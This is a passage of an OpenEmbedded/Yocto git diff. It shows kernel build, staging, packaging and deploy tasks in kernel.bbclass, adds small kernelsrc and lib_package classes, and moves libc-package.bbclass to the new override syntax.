+ unset CFLAGS CPPFLAGS CXXFLAGS LDFLAGS MACHINE
+
+ # setup native pkg-config variables (kconfig scripts call pkg-config directly, cannot generically be overriden to pkg-config-native)
+ export PKG_CONFIG_DIR="${STAGING_DIR_NATIVE}${libdir_native}/pkgconfig"
+ export PKG_CONFIG_PATH="$PKG_CONFIG_DIR:${STAGING_DATADIR_NATIVE}/pkgconfig"
+ export PKG_CONFIG_LIBDIR="$PKG_CONFIG_DIR"
+ export PKG_CONFIG_SYSROOT_DIR=""
+
+ if [ "${KERNEL_DEBUG_TIMESTAMPS}" != "1" ]; then
+ # kernel sources do not use do_unpack, so SOURCE_DATE_EPOCH may not
+ # be set....
+ if [ "${SOURCE_DATE_EPOCH}" = "" -o "${SOURCE_DATE_EPOCH}" = "0" ]; then
+ # The source directory is not necessarily a git repository, so we
+ # specify the git-dir to ensure that git does not query a
+ # repository in any parent directory.
+ SOURCE_DATE_EPOCH=`git --git-dir="${S}/.git" log -1 --pretty=%ct 2>/dev/null || echo "${REPRODUCIBLE_TIMESTAMP_ROOTFS}"`
+ fi
+
+ ts=`LC_ALL=C date -d @$SOURCE_DATE_EPOCH`
+ export KBUILD_BUILD_TIMESTAMP="$ts"
+ export KCONFIG_NOTIMESTAMP=1
+ bbnote "KBUILD_BUILD_TIMESTAMP: $ts"
+ else
+ ts=`LC_ALL=C date`
+ export KBUILD_BUILD_TIMESTAMP="$ts"
+ bbnote "KBUILD_BUILD_TIMESTAMP: $ts"
+ fi
+ if (grep -q -i -e '^CONFIG_MODULES=y$' ${B}/.config); then
+ oe_runmake -C ${B} ${PARALLEL_MAKE} modules ${KERNEL_EXTRA_ARGS}
+
+ # Module.symvers gets updated during the
+ # building of the kernel modules. We need to
+ # update this in the shared workdir since some
+ # external kernel modules has a dependency on
+ # other kernel modules and will look at this
+ # file to do symbol lookups
+ cp ${B}/Module.symvers ${STAGING_KERNEL_BUILDDIR}/
+ # 5.10+ kernels have module.lds that we need to copy for external module builds
+ if [ -e "${B}/scripts/module.lds" ]; then
+ install -Dm 0644 ${B}/scripts/module.lds ${STAGING_KERNEL_BUILDDIR}/scripts/module.lds
+ fi
+ else
+ bbnote "no modules to compile"
+ fi
+}
+addtask compile_kernelmodules after do_compile before do_strip
+
+kernel_do_install() {
+ #
+ # First install the modules
+ #
+ unset CFLAGS CPPFLAGS CXXFLAGS LDFLAGS MACHINE
+ if (grep -q -i -e '^CONFIG_MODULES=y$' .config); then
+ oe_runmake DEPMOD=echo MODLIB=${D}${nonarch_base_libdir}/modules/${KERNEL_VERSION} INSTALL_FW_PATH=${D}${nonarch_base_libdir}/firmware modules_install
+ rm -f "${D}${nonarch_base_libdir}/modules/${KERNEL_VERSION}/build"
+ rm -f "${D}${nonarch_base_libdir}/modules/${KERNEL_VERSION}/source"
+ # Remove empty module directories to prevent QA issues
+ find "${D}${nonarch_base_libdir}/modules/${KERNEL_VERSION}/kernel" -type d -empty -delete
+ else
+ bbnote "no modules to install"
+ fi
+
+ #
+ # Install various kernel output (zImage, map file, config, module support files)
+ #
+ install -d ${D}/${KERNEL_IMAGEDEST}
+
+ #
+ # When including an initramfs bundle inside a FIT image, the fitImage is created after the install task
+ # by do_assemble_fitimage_initramfs.
+ # This happens after the generation of the initramfs bundle (done by do_bundle_initramfs).
+ # So, at the level of the install task we should not try to install the fitImage. fitImage is still not
+ # generated yet.
+ # After the generation of the fitImage, the deploy task copies the fitImage from the build directory to
+ # the deploy folder.
+ #
+
+ for imageType in ${KERNEL_IMAGETYPES} ; do
+ if [ $imageType != "fitImage" ] || [ "${INITRAMFS_IMAGE_BUNDLE}" != "1" ] ; then
+ install -m 0644 ${KERNEL_OUTPUT_DIR}/$imageType ${D}/${KERNEL_IMAGEDEST}/$imageType-${KERNEL_VERSION}
+ fi
+ done
+
+ install -m 0644 System.map ${D}/${KERNEL_IMAGEDEST}/System.map-${KERNEL_VERSION}
+ install -m 0644 .config ${D}/${KERNEL_IMAGEDEST}/config-${KERNEL_VERSION}
+ install -m 0644 vmlinux ${D}/${KERNEL_IMAGEDEST}/vmlinux-${KERNEL_VERSION}
+ ! [ -e Module.symvers ] || install -m 0644 Module.symvers ${D}/${KERNEL_IMAGEDEST}/Module.symvers-${KERNEL_VERSION}
+}
+
+# Must be ran no earlier than after do_kernel_checkout or else Makefile won't be in ${S}/Makefile
+do_kernel_version_sanity_check() {
+ if [ "x${KERNEL_VERSION_SANITY_SKIP}" = "x1" ]; then
+ exit 0
+ fi
+
+ # The Makefile determines the kernel version shown at runtime
+ # Don't use KERNEL_VERSION because the headers it grabs the version from aren't generated until do_compile
+ VERSION=$(grep "^VERSION =" ${S}/Makefile | sed s/.*=\ *//)
+ PATCHLEVEL=$(grep "^PATCHLEVEL =" ${S}/Makefile | sed s/.*=\ *//)
+ SUBLEVEL=$(grep "^SUBLEVEL =" ${S}/Makefile | sed s/.*=\ *//)
+ EXTRAVERSION=$(grep "^EXTRAVERSION =" ${S}/Makefile | sed s/.*=\ *//)
+
+ # Build a string for regex and a plain version string
+ reg="^${VERSION}\.${PATCHLEVEL}"
+ vers="${VERSION}.${PATCHLEVEL}"
+ if [ -n "${SUBLEVEL}" ]; then
+ # Ignoring a SUBLEVEL of zero is fine
+ if [ "${SUBLEVEL}" = "0" ]; then
+ reg="${reg}(\.${SUBLEVEL})?"
+ else
+ reg="${reg}\.${SUBLEVEL}"
+ vers="${vers}.${SUBLEVEL}"
+ fi
+ fi
+ vers="${vers}${EXTRAVERSION}"
+ reg="${reg}${EXTRAVERSION}"
+
+ if [ -z `echo ${PV} | grep -E "${reg}"` ]; then
+ bbfatal "Package Version (${PV}) does not match of kernel being built (${vers}). Please update the PV variable to match the kernel source or set KERNEL_VERSION_SANITY_SKIP=\"1\" in your recipe."
+ fi
+ exit 0
+}
+
+addtask shared_workdir after do_compile before do_compile_kernelmodules
+addtask shared_workdir_setscene
+
+do_shared_workdir_setscene () {
+ exit 1
+}
+
+emit_depmod_pkgdata() {
+ # Stash data for depmod
+ install -d ${PKGDESTWORK}/${KERNEL_PACKAGE_NAME}-depmod/
+ echo "${KERNEL_VERSION}" > ${PKGDESTWORK}/${KERNEL_PACKAGE_NAME}-depmod/${KERNEL_PACKAGE_NAME}-abiversion
+ cp ${B}/System.map ${PKGDESTWORK}/${KERNEL_PACKAGE_NAME}-depmod/System.map-${KERNEL_VERSION}
+}
+
+PACKAGEFUNCS += "emit_depmod_pkgdata"
+
+do_shared_workdir[cleandirs] += " ${STAGING_KERNEL_BUILDDIR}"
+do_shared_workdir () {
+ cd ${B}
+
+ kerneldir=${STAGING_KERNEL_BUILDDIR}
+ install -d $kerneldir
+
+ #
+ # Store the kernel version in sysroots for module-base.bbclass
+ #
+
+ echo "${KERNEL_VERSION}" > $kerneldir/${KERNEL_PACKAGE_NAME}-abiversion
+ echo "${KERNEL_LOCALVERSION}" > $kerneldir/${KERNEL_PACKAGE_NAME}-localversion
+
+ # Copy files required for module builds
+ cp System.map $kerneldir/System.map-${KERNEL_VERSION}
+ ! [ -e Module.symvers ] || cp Module.symvers $kerneldir/
+ cp .config $kerneldir/
+ mkdir -p $kerneldir/include/config
+ cp include/config/kernel.release $kerneldir/include/config/kernel.release
+ if [ -e certs/signing_key.x509 ]; then
+ # The signing_key.* files are stored in the certs/ dir in
+ # newer Linux kernels
+ mkdir -p $kerneldir/certs
+ cp certs/signing_key.* $kerneldir/certs/
+ elif [ -e signing_key.priv ]; then
+ cp signing_key.* $kerneldir/
+ fi
+
+ # We can also copy over all the generated files and avoid special cases
+ # like version.h, but we've opted to keep this small until file creep starts
+ # to happen
+ if [ -e include/linux/version.h ]; then
+ mkdir -p $kerneldir/include/linux
+ cp include/linux/version.h $kerneldir/include/linux/version.h
+ fi
+
+ # As of Linux kernel version 3.0.1, the clean target removes
+ # arch/powerpc/lib/crtsavres.o which is present in
+ # KBUILD_LDFLAGS_MODULE, making it required to build external modules.
+ if [ ${ARCH} = "powerpc" ]; then
+ if [ -e arch/powerpc/lib/crtsavres.o ]; then
+ mkdir -p $kerneldir/arch/powerpc/lib/
+ cp arch/powerpc/lib/crtsavres.o $kerneldir/arch/powerpc/lib/crtsavres.o
+ fi
+ fi
+
+ if [ -d include/generated ]; then
+ mkdir -p $kerneldir/include/generated/
+ cp -fR include/generated/* $kerneldir/include/generated/
+ fi
+
+ if [ -d arch/${ARCH}/include/generated ]; then
+ mkdir -p $kerneldir/arch/${ARCH}/include/generated/
+ cp -fR arch/${ARCH}/include/generated/* $kerneldir/arch/${ARCH}/include/generated/
+ fi
+
+ if (grep -q -i -e '^CONFIG_UNWINDER_ORC=y$' $kerneldir/.config); then
+ # With CONFIG_UNWINDER_ORC (the default in 4.14), objtool is required for
+ # out-of-tree modules to be able to generate object files.
+ if [ -x tools/objtool/objtool ]; then
+ mkdir -p ${kerneldir}/tools/objtool
+ cp tools/objtool/objtool ${kerneldir}/tools/objtool/
+ fi
+ fi
+
+ # When building with CONFIG_MODVERSIONS=y and CONFIG_RANDSTRUCT=y we need
+ # to copy the build assets generated for the randstruct seed to
+ # STAGING_KERNEL_BUILDDIR, otherwise the out-of-tree modules build will
+ # generate those assets which will result in a different
+ # RANDSTRUCT_HASHED_SEED
+ if [ -d scripts/basic ]; then
+ mkdir -p ${kerneldir}/scripts
+ cp -r scripts/basic ${kerneldir}/scripts
+ fi
+
+ if [ -d scripts/gcc-plugins ]; then
+ mkdir -p ${kerneldir}/scripts
+ cp -r scripts/gcc-plugins ${kerneldir}/scripts
+ fi
+
+}
+
+# We don't need to stage anything, not the modules/firmware since those would clash with linux-firmware
+SYSROOT_DIRS = ""
+
+KERNEL_CONFIG_COMMAND ?= "oe_runmake_call -C ${S} O=${B} olddefconfig || oe_runmake -C ${S} O=${B} oldnoconfig"
+
+python check_oldest_kernel() {
+ oldest_kernel = d.getVar('OLDEST_KERNEL')
+ kernel_version = d.getVar('KERNEL_VERSION')
+ tclibc = d.getVar('TCLIBC')
+ if tclibc == 'glibc':
+ kernel_version = kernel_version.split('-', 1)[0]
+ if oldest_kernel and kernel_version:
+ if bb.utils.vercmp_string(kernel_version, oldest_kernel) < 0:
+ bb.warn('%s: OLDEST_KERNEL is "%s" but the version of the kernel you are building is "%s" - therefore %s as built may not be compatible with this kernel. Either set OLDEST_KERNEL to an older version, or build a newer kernel.' % (d.getVar('PN'), oldest_kernel, kernel_version, tclibc))
+}
+
+check_oldest_kernel[vardepsexclude] += "OLDEST_KERNEL KERNEL_VERSION"
+do_compile[postfuncs] += "check_oldest_kernel"
+
+KERNEL_LOCALVERSION ??= ""
+
+# 6.3+ requires the variable LOCALVERSION to be set to not get a "+" in
+# the local version. Having it empty means nothing will be added, and any
+# value will be appended to the local kernel version. This replaces the
+# use of .scmversion file for setting a localversion without using
+# the CONFIG_LOCALVERSION option.
+#
+# Note: This class saves the value of localversion to a file
+# so other recipes like make-mod-scripts can restore it via the
+# helper function get_kernellocalversion_file
+export LOCALVERSION="${KERNEL_LOCALVERSION}"
+
+kernel_do_configure() {
+ # fixes extra + in /lib/modules/2.6.37+
+ # $ scripts/setlocalversion . => +
+ # $ make kernelversion => 2.6.37
+ # $ make kernelrelease => 2.6.37+
+ # See kernel-arch.bbclass for post v6.3 removal of the extra
+ # + in localversion. .scmversion is no longer used, and the
+ # variable LOCALVERSION must be used
+ if [ ! -e ${B}/.scmversion -a ! -e ${S}/.scmversion ]; then
+ echo ${KERNEL_LOCALVERSION} > ${B}/.scmversion
+ echo ${KERNEL_LOCALVERSION} > ${S}/.scmversion
+ fi
+
+ if [ "${S}" != "${B}" ] && [ -f "${S}/.config" ] && [ ! -f "${B}/.config" ]; then
+ mv "${S}/.config" "${B}/.config"
+ fi
+
+ # Copy defconfig to .config if .config does not exist. This allows
+ # recipes to manage the .config themselves in do_configure:prepend().
+ if [ -f "${WORKDIR}/defconfig" ] && [ ! -f "${B}/.config" ]; then
+ cp "${WORKDIR}/defconfig" "${B}/.config"
+ fi
+
+ ${KERNEL_CONFIG_COMMAND}
+}
+
+do_savedefconfig() {
+ bbplain "Saving defconfig to:\n${B}/defconfig"
+ oe_runmake -C ${B} savedefconfig
+}
+do_savedefconfig[nostamp] = "1"
+addtask savedefconfig after do_configure
+
+inherit cml1 pkgconfig
+
+# Need LD, HOSTLDFLAGS and more for config operations
+KCONFIG_CONFIG_COMMAND:append = " ${EXTRA_OEMAKE}"
+
+EXPORT_FUNCTIONS do_compile do_transform_kernel do_transform_bundled_initramfs do_install do_configure
+
+# kernel-base becomes kernel-${KERNEL_VERSION}
+# kernel-image becomes kernel-image-${KERNEL_VERSION}
+PACKAGES = "${KERNEL_PACKAGE_NAME} ${KERNEL_PACKAGE_NAME}-base ${KERNEL_PACKAGE_NAME}-vmlinux ${KERNEL_PACKAGE_NAME}-image ${KERNEL_PACKAGE_NAME}-dev ${KERNEL_PACKAGE_NAME}-modules ${KERNEL_PACKAGE_NAME}-dbg"
+FILES:${PN} = ""
+FILES:${KERNEL_PACKAGE_NAME}-base = "${nonarch_base_libdir}/modules/${KERNEL_VERSION}/modules.order ${nonarch_base_libdir}/modules/${KERNEL_VERSION}/modules.builtin ${nonarch_base_libdir}/modules/${KERNEL_VERSION}/modules.builtin.modinfo"
+FILES:${KERNEL_PACKAGE_NAME}-image = ""
+FILES:${KERNEL_PACKAGE_NAME}-dev = "/${KERNEL_IMAGEDEST}/System.map* /${KERNEL_IMAGEDEST}/Module.symvers* /${KERNEL_IMAGEDEST}/config* ${KERNEL_SRC_PATH} ${nonarch_base_libdir}/modules/${KERNEL_VERSION}/build"
+FILES:${KERNEL_PACKAGE_NAME}-vmlinux = "/${KERNEL_IMAGEDEST}/vmlinux-${KERNEL_VERSION_NAME}"
+FILES:${KERNEL_PACKAGE_NAME}-modules = ""
+FILES:${KERNEL_PACKAGE_NAME}-dbg = "/usr/lib/debug /usr/src/debug"
+RDEPENDS:${KERNEL_PACKAGE_NAME} = "${KERNEL_PACKAGE_NAME}-base (= ${EXTENDPKGV})"
+# Allow machines to override this dependency if kernel image files are
+# not wanted in images as standard
+RRECOMMENDS:${KERNEL_PACKAGE_NAME}-base ?= "${KERNEL_PACKAGE_NAME}-image (= ${EXTENDPKGV})"
+PKG:${KERNEL_PACKAGE_NAME}-image = "${KERNEL_PACKAGE_NAME}-image-${@legitimize_package_name(d.getVar('KERNEL_VERSION'))}"
+RDEPENDS:${KERNEL_PACKAGE_NAME}-image += "${@oe.utils.conditional('KERNEL_IMAGETYPE', 'vmlinux', '${KERNEL_PACKAGE_NAME}-vmlinux (= ${EXTENDPKGV})', '', d)}"
+PKG:${KERNEL_PACKAGE_NAME}-base = "${KERNEL_PACKAGE_NAME}-${@legitimize_package_name(d.getVar('KERNEL_VERSION'))}"
+RPROVIDES:${KERNEL_PACKAGE_NAME}-base += "${KERNEL_PACKAGE_NAME}-${KERNEL_VERSION}"
+ALLOW_EMPTY:${KERNEL_PACKAGE_NAME} = "1"
+ALLOW_EMPTY:${KERNEL_PACKAGE_NAME}-base = "1"
+ALLOW_EMPTY:${KERNEL_PACKAGE_NAME}-image = "1"
+ALLOW_EMPTY:${KERNEL_PACKAGE_NAME}-modules = "1"
+DESCRIPTION:${KERNEL_PACKAGE_NAME}-modules = "Kernel modules meta package"
+
+pkg_postinst:${KERNEL_PACKAGE_NAME}-base () {
+ if [ ! -e "$D/lib/modules/${KERNEL_VERSION}" ]; then
+ mkdir -p $D/lib/modules/${KERNEL_VERSION}
+ fi
+ if [ -n "$D" ]; then
+ depmodwrapper -a -b $D ${KERNEL_VERSION} ${KERNEL_PACKAGE_NAME}
+ else
+ depmod -a ${KERNEL_VERSION}
+ fi
+}
+
+PACKAGESPLITFUNCS =+ "split_kernel_packages"
+
+python split_kernel_packages () {
+ do_split_packages(d, root='${nonarch_base_libdir}/firmware', file_regex=r'^(.*)\.(bin|fw|cis|csp|dsp)$', output_pattern='${KERNEL_PACKAGE_NAME}-firmware-%s', description='Firmware for %s', recursive=True, extra_depends='')
+}
+
+# Many scripts want to look in arch/$arch/boot for the bootable
+# image. This poses a problem for vmlinux and vmlinuz based
+# booting. This task arranges to have vmlinux and vmlinuz appear
+# in the normalized directory location.
+do_kernel_link_images() {
+ if [ ! -d "${B}/arch/${ARCH}/boot" ]; then
+ mkdir ${B}/arch/${ARCH}/boot
+ fi
+ cd ${B}/arch/${ARCH}/boot
+ ln -sf ../../../vmlinux
+ if [ -f ../../../vmlinuz ]; then
+ ln -sf ../../../vmlinuz
+ fi
+ if [ -f ../../../vmlinuz.bin ]; then
+ ln -sf ../../../vmlinuz.bin
+ fi
+ if [ -f ../../../vmlinux.64 ]; then
+ ln -sf ../../../vmlinux.64
+ fi
+}
+addtask kernel_link_images after do_compile before do_strip
+
+python do_strip() {
+ import shutil
+
+ strip = d.getVar('KERNEL_STRIP')
+ extra_sections = d.getVar('KERNEL_IMAGE_STRIP_EXTRA_SECTIONS')
+ kernel_image = d.getVar('B') + "/" + d.getVar('KERNEL_OUTPUT_DIR') + "/vmlinux"
+
+ if (extra_sections and kernel_image.find(d.getVar('KERNEL_IMAGEDEST') + '/vmlinux') != -1):
+ kernel_image_stripped = kernel_image + ".stripped"
+ shutil.copy2(kernel_image, kernel_image_stripped)
+ oe.package.runstrip((kernel_image_stripped, 8, strip, extra_sections))
+ bb.debug(1, "KERNEL_IMAGE_STRIP_EXTRA_SECTIONS is set, stripping sections: " + \
+ extra_sections)
+}
+do_strip[dirs] = "${B}"
+
+addtask strip before do_sizecheck after do_kernel_link_images
+
+# Support checking the kernel size since some kernels need to reside in partitions
+# with a fixed length or there is a limit in transferring the kernel to memory.
+# If more than one image type is enabled, warn on any that don't fit but only fail
+# if none fit.
+do_sizecheck() {
+ if [ ! -z "${KERNEL_IMAGE_MAXSIZE}" ]; then
+ invalid=`echo ${KERNEL_IMAGE_MAXSIZE} | sed 's/[0-9]//g'`
+ if [ -n "$invalid" ]; then
+ die "Invalid KERNEL_IMAGE_MAXSIZE: ${KERNEL_IMAGE_MAXSIZE}, should be an integer (The unit is Kbytes)"
+ fi
+ at_least_one_fits=
+ for imageType in ${KERNEL_IMAGETYPES} ; do
+ size=`du -ks ${B}/${KERNEL_OUTPUT_DIR}/$imageType | awk '{print $1}'`
+ if [ $size -gt ${KERNEL_IMAGE_MAXSIZE} ]; then
+ bbwarn "This kernel $imageType (size=$size(K) > ${KERNEL_IMAGE_MAXSIZE}(K)) is too big for your device."
+ else
+ at_least_one_fits=y
+ fi
+ done
+ if [ -z "$at_least_one_fits" ]; then
+ die "All kernel images are too big for your device. Please reduce the size of the kernel by making more of it modular."
+ fi
+ fi
+}
+do_sizecheck[dirs] = "${B}"
+
+addtask sizecheck before do_install after do_strip
+
+inherit kernel-artifact-names
+
+kernel_do_deploy() {
+ deployDir="${DEPLOYDIR}"
+ if [ -n "${KERNEL_DEPLOYSUBDIR}" ]; then
+ deployDir="${DEPLOYDIR}/${KERNEL_DEPLOYSUBDIR}"
+ mkdir "$deployDir"
+ fi
+
+ for imageType in ${KERNEL_IMAGETYPES} ; do
+ baseName=$imageType-${KERNEL_IMAGE_NAME}
+
+ if [ -s ${KERNEL_OUTPUT_DIR}/$imageType.stripped ] ; then
+ install -m 0644 ${KERNEL_OUTPUT_DIR}/$imageType.stripped $deployDir/$baseName${KERNEL_IMAGE_BIN_EXT}
+ else
+ install -m 0644 ${KERNEL_OUTPUT_DIR}/$imageType $deployDir/$baseName${KERNEL_IMAGE_BIN_EXT}
+ fi
+ if [ -n "${KERNEL_IMAGE_LINK_NAME}" ] ; then
+ ln -sf $baseName${KERNEL_IMAGE_BIN_EXT} $deployDir/$imageType-${KERNEL_IMAGE_LINK_NAME}${KERNEL_IMAGE_BIN_EXT}
+ fi
+ if [ "${KERNEL_IMAGETYPE_SYMLINK}" = "1" ] ; then
+ ln -sf $baseName${KERNEL_IMAGE_BIN_EXT} $deployDir/$imageType
+ fi
+ done
+
+ if [ ${MODULE_TARBALL_DEPLOY} = "1" ] && (grep -q -i -e '^CONFIG_MODULES=y$' .config); then
+ mkdir -p ${D}${root_prefix}/lib
+ if [ -n "${SOURCE_DATE_EPOCH}" ]; then
+ TAR_ARGS="--sort=name --clamp-mtime --mtime=@${SOURCE_DATE_EPOCH}"
+ else
+ TAR_ARGS=""
+ fi
+ TAR_ARGS="$TAR_ARGS --owner=0 --group=0"
+ tar $TAR_ARGS -cv -C ${D}${root_prefix} lib | gzip -9n > $deployDir/modules-${MODULE_TARBALL_NAME}.tgz
+
+ if [ -n "${MODULE_TARBALL_LINK_NAME}" ] ; then
+ ln -sf modules-${MODULE_TARBALL_NAME}.tgz $deployDir/modules-${MODULE_TARBALL_LINK_NAME}.tgz
+ fi
+ fi
+
+ if [ ! -z "${INITRAMFS_IMAGE}" -a x"${INITRAMFS_IMAGE_BUNDLE}" = x1 ]; then
+ for imageType in ${KERNEL_IMAGETYPES} ; do
+ if [ "$imageType" = "fitImage" ] ; then
+ continue
+ fi
+ initramfsBaseName=$imageType-${INITRAMFS_NAME}
+ install -m 0644 ${KERNEL_OUTPUT_DIR}/$imageType.initramfs $deployDir/$initramfsBaseName${KERNEL_IMAGE_BIN_EXT}
+ if [ -n "${INITRAMFS_LINK_NAME}" ] ; then
+ ln -sf $initramfsBaseName${KERNEL_IMAGE_BIN_EXT} $deployDir/$imageType-${INITRAMFS_LINK_NAME}${KERNEL_IMAGE_BIN_EXT}
+ fi
+ done
+ fi
+}
+
+# We deploy to filenames that include PKGV and PKGR, read the saved data to
+# ensure we get the right values for both
+do_deploy[prefuncs] += "read_subpackage_metadata"
+
+addtask deploy after do_populate_sysroot do_packagedata
+
+EXPORT_FUNCTIONS do_deploy
+
+# Add using Device Tree support
+inherit kernel-devicetree
diff --git a/meta/classes-recipe/kernelsrc.bbclass b/meta/classes-recipe/kernelsrc.bbclass
new file mode 100644
index 0000000000..ecb02dc9ed
--- /dev/null
+++ b/meta/classes-recipe/kernelsrc.bbclass
@@ -0,0 +1,17 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+S = "${STAGING_KERNEL_DIR}"
+deltask do_fetch
+deltask do_unpack
+do_patch[depends] += "virtual/kernel:do_shared_workdir"
+do_patch[noexec] = "1"
+do_package[depends] += "virtual/kernel:do_populate_sysroot"
+KERNEL_VERSION = "${@get_kernelversion_file("${STAGING_KERNEL_BUILDDIR}")}"
+LOCAL_VERSION = "${@get_kernellocalversion_file("${STAGING_KERNEL_BUILDDIR}")}"
+
+inherit linux-kernel-base
+
diff --git a/meta/classes-recipe/lib_package.bbclass b/meta/classes-recipe/lib_package.bbclass
new file mode 100644
index 0000000000..6d110155e5
--- /dev/null
+++ b/meta/classes-recipe/lib_package.bbclass
@@ -0,0 +1,12 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+#
+# ${PN}-bin is defined in bitbake.conf
+#
+# We need to allow the other packages to be greedy with what they
+# want out of /usr/bin and /usr/sbin before ${PN}-bin gets greedy.
+#
+PACKAGE_BEFORE_PN = "${PN}-bin"
diff --git a/meta/classes/libc-package.bbclass b/meta/classes-recipe/libc-package.bbclass
index de3b4250c7..c06a2ce90a 100644
--- a/meta/classes/libc-package.bbclass
+++ b/meta/classes-recipe/libc-package.bbclass
@@ -1,4 +1,10 @@
#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+#
# This class knows how to package up [e]glibc. Its shared since prebuild binary toolchains
# may need packaging and its pointless to duplicate this code.
#
@@ -42,9 +48,10 @@ python __anonymous () {
# try to fix disable charsets/locales/locale-code compile fail
PACKAGE_NO_GCONV ?= "0"
-OVERRIDES_append = ":${TARGET_ARCH}-${TARGET_OS}"
+OVERRIDES:append = ":${TARGET_ARCH}-${TARGET_OS}"
locale_base_postinst_ontarget() {
+mkdir ${libdir}/locale
localedef --inputfile=${datadir}/i18n/locales/%s --charmap=%s %s
}
@@ -129,9 +136,9 @@ python package_do_split_gconvs () {
deps.append(dp)
f.close()
if deps != []:
- d.setVar('RDEPENDS_%s' % pkg, " ".join(deps))
+ d.setVar('RDEPENDS:%s' % pkg, " ".join(deps))
if bpn != 'glibc':
- d.setVar('RPROVIDES_%s' % pkg, pkg.replace(bpn, 'glibc'))
+ d.setVar('RPROVIDES:%s' % pkg, pkg.replace(bpn, 'glibc'))
do_split_packages(d, gconv_libdir, file_regex=r'^(.*)\.so$', output_pattern=bpn+'-gconv-%s', \
description='gconv module for character set %s', hook=calc_gconv_deps, \
@@ -151,9 +158,9 @@ python package_do_split_gconvs () {
deps.append(dp)
f.close()
if deps != []:
- d.setVar('RDEPENDS_%s' % pkg, " ".join(deps))
+ d.setVar('RDEPENDS:%s' % pkg, " ".join(deps))
if bpn != 'glibc':
- d.setVar('RPROVIDES_%s' % pkg, pkg.replace(bpn, 'glibc'))
+ d.setVar('RPROVIDES:%s' % pkg, pkg.replace(bpn, 'glibc'))
do_split_packages(d, charmap_dir, file_regex=r'^(.*)\.gz$', output_pattern=bpn+'-charmap-%s', \
description='character map for %s encoding', hook=calc_charmap_deps, extra_depends='')
@@ -172,9 +179,9 @@ python package_do_split_gconvs () {
deps.append(dp)
f.close()
if deps != []:
- d.setVar('RDEPENDS_%s' % pkg, " ".join(deps))
+ d.setVar('RDEPENDS:%s' % pkg, " ".join(deps))
if bpn != 'glibc':
- d.setVar('RPROVIDES_%s' % pkg, pkg.replace(bpn, 'glibc'))
+ d.setVar('RPROVIDES:%s' % pkg, pkg.replace(bpn, 'glibc'))
do_split_packages(d, locales_dir, file_regex=r'(.*)', output_pattern=bpn+'-localedata-%s', \
description='locale definition for %s', hook=calc_locale_deps, extra_depends='')
@@ -210,11 +217,11 @@ python package_do_split_gconvs () {
supported[locale] = charset
def output_locale_source(name, pkgname, locale, encoding):
- d.setVar('RDEPENDS_%s' % pkgname, '%slocaledef %s-localedata-%s %s-charmap-%s' % \
+ d.setVar('RDEPENDS:%s' % pkgname, '%slocaledef %s-localedata-%s %s-charmap-%s' % \
(mlprefix, mlprefix+bpn, legitimize_package_name(locale), mlprefix+bpn, legitimize_package_name(encoding)))
- d.setVar('pkg_postinst_ontarget_%s' % pkgname, d.getVar('locale_base_postinst_ontarget') \
+ d.setVar('pkg_postinst_ontarget:%s' % pkgname, d.getVar('locale_base_postinst_ontarget') \
% (locale, encoding, locale))
- d.setVar('pkg_postrm_%s' % pkgname, d.getVar('locale_base_postrm') % \
+ d.setVar('pkg_postrm:%s' % pkgname, d.getVar('locale_base_postrm') % \
(locale, encoding, locale))
def output_locale_binary_rdepends(name, pkgname, locale, encoding):
@@ -222,8 +229,8 @@ python package_do_split_gconvs () {
lcsplit = d.getVar('GLIBC_SPLIT_LC_PACKAGES')
if lcsplit and int(lcsplit):
d.appendVar('PACKAGES', ' ' + dep)
- d.setVar('ALLOW_EMPTY_%s' % dep, '1')
- d.setVar('RDEPENDS_%s' % pkgname, mlprefix + dep)
+ d.setVar('ALLOW_EMPTY:%s' % dep, '1')
+ d.setVar('RDEPENDS:%s' % pkgname, mlprefix + dep)
commands = {}
@@ -261,7 +268,8 @@ python package_do_split_gconvs () {
"riscv32": " --uint32-align=4 --little-endian ", \
"i586": " --uint32-align=4 --little-endian ", \
"i686": " --uint32-align=4 --little-endian ", \
- "x86_64": " --uint32-align=4 --little-endian " }
+ "x86_64": " --uint32-align=4 --little-endian ", \
+ "loongarch64": " --uint32-align=4 --little-endian " }
if target_arch in locale_arch_options:
localedef_opts = locale_arch_options[target_arch]
@@ -270,7 +278,7 @@ python package_do_split_gconvs () {
bb.fatal("unknown arch:" + target_arch + " for locale_arch_options")
localedef_opts += " --force --no-hard-links --no-archive --prefix=%s \
- --inputfile=%s/%s/i18n/locales/%s --charmap=%s %s/%s" \
+ --inputfile=%s/%s/i18n/locales/%s --charmap=%s %s/%s --no-warnings=ascii" \
% (treedir, treedir, datadir, locale, encoding, outputpath, name)
cmd = "PATH=\"%s\" I18NPATH=\"%s\" GCONV_PATH=\"%s\" cross-localedef %s" % \
@@ -293,13 +301,13 @@ python package_do_split_gconvs () {
def output_locale(name, locale, encoding):
pkgname = d.getVar('MLPREFIX', False) + 'locale-base-' + legitimize_package_name(name)
- d.setVar('ALLOW_EMPTY_%s' % pkgname, '1')
+ d.setVar('ALLOW_EMPTY:%s' % pkgname, '1')
d.setVar('PACKAGES', '%s %s' % (pkgname, d.getVar('PACKAGES')))
rprovides = ' %svirtual-locale-%s' % (mlprefix, legitimize_package_name(name))
m = re.match(r"(.*)_(.*)", name)
if m:
rprovides += ' %svirtual-locale-%s' % (mlprefix, m.group(1))
- d.setVar('RPROVIDES_%s' % pkgname, rprovides)
+ d.setVar('RPROVIDES:%s' % pkgname, rprovides)
if use_bin == "compile":
output_locale_binary_rdepends(name, pkgname, locale, encoding)
@@ -343,7 +351,7 @@ python package_do_split_gconvs () {
def metapkg_hook(file, pkg, pattern, format, basename):
name = basename.split('/', 1)[0]
metapkg = legitimize_package_name('%s-binary-localedata-%s' % (mlprefix+bpn, name))
- d.appendVar('RDEPENDS_%s' % metapkg, ' ' + pkg)
+ d.appendVar('RDEPENDS:%s' % metapkg, ' ' + pkg)
if use_bin == "compile":
makefile = oe.path.join(d.getVar("WORKDIR"), "locale-tree", "Makefile")
@@ -355,7 +363,7 @@ python package_do_split_gconvs () {
m.write("\t@echo 'Progress %d/%d'\n" % (i, total))
m.write("\t" + makerecipe + "\n\n")
d.setVar("EXTRA_OEMAKE", "-C %s ${PARALLEL_MAKE}" % (os.path.dirname(makefile)))
- d.setVarFlag("oe_runmake", "progress", "outof:Progress\s(\d+)/(\d+)")
